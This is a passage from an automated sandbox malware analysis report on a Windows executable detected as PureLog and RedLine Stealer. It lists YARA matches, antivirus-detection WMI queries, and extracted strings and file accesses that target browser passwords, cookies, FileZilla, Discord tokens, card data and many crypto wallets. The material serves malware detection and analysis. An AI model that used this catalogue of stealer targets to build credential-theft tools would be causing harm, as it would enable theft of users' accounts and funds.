                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Users\user\Desktop\chTJmCR9bS.exe VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

                        Stealing of Sensitive Information

                        barindex
                        Yara detected PureLog Stealer
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.5cd0000.6.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.5cd0000.6.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.3721508.2.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.3721508.2.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.34ff6fc.1.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.3446d9c.0.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 00000000.00000002.1826964666.0000000005CD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1823596554.000000000343E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                        Yara detected RedLine Stealer
                        Source: Yara matchFile source: dump.pcap, type: PCAP
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.450ad90.3.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.43ab7e0.4.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 2.2.chTJmCR9bS.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.450ad90.3.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.43ab7e0.4.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 00000002.00000002.1927566473.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1824869359.000000000450A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1824869359.0000000004347000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: Process Memory Space: chTJmCR9bS.exe PID: 7384, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: chTJmCR9bS.exe PID: 7572, type: MEMORYSTR
                        Found many strings related to Crypto-Wallets (likely being stolen)
                        Source: chTJmCR9bS.exe, 00000000.00000002.1824869359.0000000004347000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: [^\u0020-\u007F]ProcessIdname_on_cardencrypted_valuehttps://ipinfo.io/ip%appdata%\logins{0}\FileZilla\recentservers.xml%appdata%\discord\Local Storage\leveldb\tdataAtomicWalletv10/C \EtFile.IOhereuFile.IOm\walFile.IOletsESystem.UItherSystem.UIeumElectrum[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}profiles\Windows\valueexpiras21ation_moas21nth
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000359B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: $^q1C:\Users\user\AppData\Roaming\Electrum\wallets\*
                        Source: chTJmCR9bS.exe, 00000000.00000002.1824869359.0000000004347000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlite*ssfn*ExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxe*Winhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry*.vstring.ReplacedfJaxxpathBSJB
                        Source: chTJmCR9bS.exe, 00000000.00000002.1824869359.0000000004347000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlite*ssfn*ExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxe*Winhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry*.vstring.ReplacedfJaxxpathBSJB
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000359B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: \Ethereum\wallets
                        Source: chTJmCR9bS.exe, 00000000.00000002.1824869359.0000000004347000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlite*ssfn*ExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxe*Winhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry*.vstring.ReplacedfJaxxpathBSJB
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000359B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: Ethereum
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000359B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: $^q5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*
                        Source: chTJmCR9bS.exe, 00000000.00000002.1826964666.0000000005CD0000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: set_UseMachineKeyStore
                        Tries to harvest and steal browser information (history, passwords, etc)
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqliteJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                        Tries to steal Crypto Currency Wallets
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeFile opened: C:\Users\user\AppData\Roaming\atomic\Jump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeFile opened: C:\Users\user\AppData\Roaming\Electrum\wallets\Jump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeFile opened: C:\Users\user\AppData\Roaming\Electrum\wallets\Jump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeFile opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\Jump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeFile opened: C:\Users\user\AppData\Roaming\Exodus\Jump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\Jump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\Jump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeFile opened: C:\Users\user\AppData\Roaming\Guarda\Jump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeFile opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\Jump to behavior
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.450ad90.3.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.43ab7e0.4.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 2.2.chTJmCR9bS.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.450ad90.3.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.43ab7e0.4.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 00000002.00000002.1927566473.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1824869359.000000000450A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1824869359.0000000004347000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: Process Memory Space: chTJmCR9bS.exe PID: 7384, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: chTJmCR9bS.exe PID: 7572, type: MEMORYSTR

                        Remote Access Functionality

                        barindex
                        Yara detected PureLog Stealer
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.5cd0000.6.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.5cd0000.6.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.3721508.2.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.3721508.2.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.34ff6fc.1.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.3446d9c.0.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 00000000.00000002.1826964666.0000000005CD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1823596554.000000000343E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                        Yara detected RedLine Stealer
